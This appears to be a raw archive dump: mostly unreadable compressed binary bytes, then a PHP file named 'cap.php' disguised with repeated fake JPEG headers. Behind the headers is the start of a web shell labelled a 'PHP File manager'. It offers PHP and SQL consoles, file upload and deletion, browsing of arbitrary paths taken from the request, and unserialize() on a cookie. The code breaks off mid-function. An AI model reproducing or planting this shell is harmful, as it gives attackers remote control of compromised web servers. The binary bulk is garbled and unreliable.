DQII]j
ޫЍ{")K<(	yP$a\BB<Hҙl.X(ʕjh>ϝ.`8ǓLEՖf`(<袨]_1+w@s_/ 0xmgJNauǵ˩ GDPȧ!|c˼τ8*5 <lzf|=*Ka6o_91~/ Nz?
P򂆙}飠(@EG~VX	!.%@"x	#(,(J$
@% 0Ճ-=+:=83'0Dgz RRP!wc3>[N)dO<$wU lH.r\K.NGc lfSI*jV~)%<Ю^p+"PsRcsB5puFVlkG%dw~#CL uҖIO'*\AGIH_ї,y+8|¢,PI3>{lp_Xw0fb)Px1.37F( oqS3s=gHc|1,'KzH6~ud+슙U5U޻B-H*Bˍ 7M@-7mZQm轩M8԰-jn]R%O暥A,d@T>􀊽XwnٙFT-xD6Mg(	\o49ߨ4Z`ډuiŜqI$6FK|3xr$ɠ#L[CN5>#tg"͒Mepy^j9n5Kb9G1|m >|nXL~1K"(įiu#'L0@zg0UɈQJo,:v7$><nȁ> ZJ&1RD(@Q誊Nm>oy"1  V16@$aUО]Eǟ$iF&Ή:Խ'0VI yj}I$a}f!sf_p0G1Nt}'$ll\(pJ%K 2dTЋL{C&m6vrЙtk^\$^!#݉@MA/h=5؞CN/N[a~;l%&/SQy0AYhTڸjn鞳iq σ,/uB#+<yGZ3mEX@!"::/r6n`;}YH^u<G(~WC<K2舝DmdD'`Yh8E7F%5u)1Zx ++=&Gv$ *r2P?De%'xXߺr0DnKo!p'sC^6V(qʖ\r ,%nOǌv8].MMNœvl=g+	;riTN'D'C񰥺afSa\"5X//%K/>l6$57q;4(, @ft5NpGXEyk!uEUe$`dY5$"; P7b)UK_})<}JD9̯c:'q}
D>}NT'gOĿ魭Kuk?ZJq*E4|!X䶑>G/	fIc9$<j8ʋ_o^(=6un_ݱv^J6р2ū,2b&*73|ڨTBP2O(|o\nJ82j2(gxt J	
枡[ (H3%W2$j`-{2'AJ%WrVò2aݼ&ne@ձF[Cnix!~6F!GJDJ%XH) ޹=+ekz{#_4ɰcMnf$J}YQP代4[͟>Au].3j"eلɲWձܴ[dZ#訖d^ 0 NŤC3NVt=? ZU^ͼCYWNOR1&{},ؘ<ɜqF+f$F`hLkZm<HC'h@Xbf!'(/7f0cgrP7Yb\QсǢ:zJt3I{eKЬ	}BCϱÂФqi82k)Ȣ{oonw-[ :Fc2@nրzM;09{s(L7`I"3 b!JCf*_0Cj>SYVk2C4=Z Έ[O8]H@U7;_\P\
f64NYTDܥja8cWڣIG"s Ȁbz]I3Wr>ӐN4}fв[Q|g	4±?TSh_ǲSALmZw>dlm⦐Fڠ6&t=*koB>:>:1_q0Do扶f+1A0?@0aK~;<TK@ϗGF q`[hp;^|#G 1*Wˢ:#̺;QڠPz3]

(ۚu0J";.nދ:F>'. |`:U9e>Xhu+I	&W@[{x-~l2mqY#uaAJ~$q:dxUl/xxT!Sk1 p+`UumLCwUl1}@_Kh'}nSS)Ҷ^;u3`'mzξ
QfQ~Q~v؇t[{b訬qT THe(_NLf81(8q`P>
u9=2R
OA˖HsmE`@h4AޫP_&6y@^Jldz/">y9G}~Hfnb Q*˅gP쳜\>b[	9^X͸$+i;=e(bJ_K	KMg:ӟ~=	 1x¶IdfG2*ڵCmU̪*chrS5̮
	L!a0b֊^B\mH8z){uί78\X9Zfֻ{]fPi''EqC{T"Ge%xXl<<pƳw&`o
<0śy4dJSL+hRat-қ\%mpϧ;`B^acEV
6I@p*2L	FŃeCAE4rlɾ2%Fy171nGB3;XxjY1 ڿo `|/ITNDh-+GWT+J`S3l4n&8S6a3Sk aac(\w5 Gp1
U 0@O9F&SVd,9':~zqo:qבɕ=+ǪtgO4YX*n$yWxco:5uD!2x7(1r!TuԶXi,^YHt*|6$ks45cǱE?|<M]ϣy& 9Q{.nokWGT'Qg_3 +l5\.JW`kGMf-cn7S!p7_!|hrC^|H׉F,t_N$558XU24A7UZףMNTJkqdӲUk){`+꽽9~q8ԡ-@0B|wkuL&-3H[h1|=Pva!H~s?3_C02,a *?D[`-v)eo*_`v=t*4)q0`렜
KX6 #A/}~|pBÇ?@L>w;dW_0oW8̿ÿۿÿͿͿ_w7?=;PW7 of ;C!P?g~wkwv߃<4?qo?<wR.ÇK՟	}'	Yo_ïoӟ|38_Lܛ
?xϼ|㙷|o<槟ބүӎ.Nn9;0~/	1?p$sc f40w/t@~=.Ar]%@V<9taPn
?´n'׿2>j~ŌK۹qx5G\SKsM{~u THv*6$@*(+/08 7L#T{`QG4WMAMKEQ}Zmq~FG3{Cv}n7418 `SNt~TW&ph>
4ẸY/i4΀zաfH+aa]f2ޫ{2dįr9B`<|ݜSյ'02cL[0ǊCY$[^"(^xT[l-ʉdRȧQ@f̫ȡՌq`ÝX:½#&r1tbhjjd2/<,𱗾b1kĐm<U_hF9\cʂ,{m}̏&ɱ'MhSH0=D^ZIG\Y}'j/g4ࠬàQ*A4pm"+-@ZjX# -=P~ÝT\+_9N+
A# ޓ@lLGFTt1v":O~`C;Jh
'Sp//(7p*)HL#*ٸ(i~
˛U	/''Q
8SR'RhO"P zQ# ' oZ\DŒå^45`%PH;fvk%0!ida3{6;!23ޠSq!)3
e"1YၜEv":фF#	[gE_ՍôKRGƻIz^|o|$cنܟjNm7 ŭ<5 F- p9+cTυ>X { Aqg7-jp}@}|Ź`6$G$%kѥ|tde-!oH\ފQ 'eӽ(.>lﭏ9ظ9XAA7Y}Uz{CoQOMpoڲ2叵<7^zsꍟ -4{=?jΞZk`ֈG[C/*vw-Ǝu]5|>R P
6R COd8S!JHA>gs]#Brv^8b%i_`X
b# `M/i-♶?b#V_@YXu
xf	jDIH# G @ZjNA	;VlN\?--sw{%ΰCy)h YdAߚ4Ac&]lfsۃLs\(`Nh'áP a.L[zO,i`D&ԳX]\ɋԱز*2Ao)	z8BټǹČ֨Mg
`Pc##J9~f*)wy>6rǊ V?̥T!UKʯ',yOvpspT'CkC[r׼w{*]m;ܙBāǏhP*Ms*嘔ɄSCv^Ͻ	Ok+Q/galfziYX6pp1{g lh[F9_$Yp=ڇ/_H)Lّu @I#+Y_v]Y_>?\./ֆ40"Rh [DX|SEOt3^fg3`v/0F4OKKwaQ<`A_MZq'2֛+')a+!ES,qX68MSh;)aH1+EgxMaNF%.$eP6B:dYsi	qFf3XϸIoG`h=]^SW0'7h{6:Bu.=D}p鹈o]R. \11)1Qfn'$bIiwQ	U<gf6siޟ$g1iʖHl.4aߟq`O.S\oڥ-&Hf?CsƠ.:	!>/?xei,O__:b?PNRg9_NN4Q8Qr{WAu Gd:٬(4&a!V*ui`!(s3r>[vRux	@{//Ib0Aav^R`){i܃ڐ7Mf5FfRf<o6pJCs6\jUDkZY,UяAǠ>BEba{L~\v.HI01e*u@>c6hRin)B).]Km>( )3rW~"I{^}[gLnGڡZ/ԑ@oy-MD(|1{]^TM*.S^pJa+lR9;wEw#)iI5ΤY'9NzkP	_Nq$M^ *L
`D;;ĀDE}&ͦ7f.$B ).Fi#=MHĺ)(@gضbFhZKxiPq9!	At=]L'OL^)m0U
30z3L9h6}Q%ߑҎC4iBن$@0dͼ&
,<@r#]o2rbӊҍKhy %1~oE^#T"C>}z=S1NLO^:}=LL}j?ybsRKs_G>;+=8"wtLMOK.7?~?{DzP@19$[a!sp|5txaM+ڃ$K]YS|n*(v,%q6{(u'`]
Ir:`<U$֜A/5,ʰ|!-t>>zY V9AG	:wYbP9A7ex'Pmjd}vDJ!Lq	]bRN5u3r>x
}	-1
a!	
X9;W\[ʰo<hEwUZ!``tVՓ<)L˨LJrupYƥ4'<uAyD.2RMUʹl⭒U/}f uJ_R.xf}haGq\}8,h?g}n,6&vX
q6|1[bAdo(3k	{[-`XDiԮF鼆i%7._s`Luїr4z&#)kLKPxN@5	ӕ}k2:5{`[)(vPsL8[gN 0	:՘C4#F;G[n,JxF o mp7n2<nv.^DC9~ʍQi>%x-/rk,h>/ۅp<kL=pe,Gkz;3XumyJٙZHUyNqҺKC14WJR"bKo;|,C1(F:e;|IlJCi`0	.׎TRCzIP{bxPԒR36[)
8='G%K36=#%y.ΏJ|2vX*A,⃏ܒը
2	ÆM#`_}֢li]㩯A?iyR2mC~Y
Ӿ]Mޔro8QYϬ?.d;+ ',+yh)^oιx~(&T6HKBTi(RpQ[piLӃi~Yd=cI-VvML{c֟NMY},z,+u߮3Թm=By(4&r;ƒ]Hp[*4EZP/:jB"͂f"\[,`&i;@dTƬffYwyx S6ާIO<nezi.nuLyՕ4Lzi>=:m~4kf~
i֪Org\tԸ>:TgܚgMIL'E+45Q=3(uzE(#)B%mnBX;e'RV\+S
z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
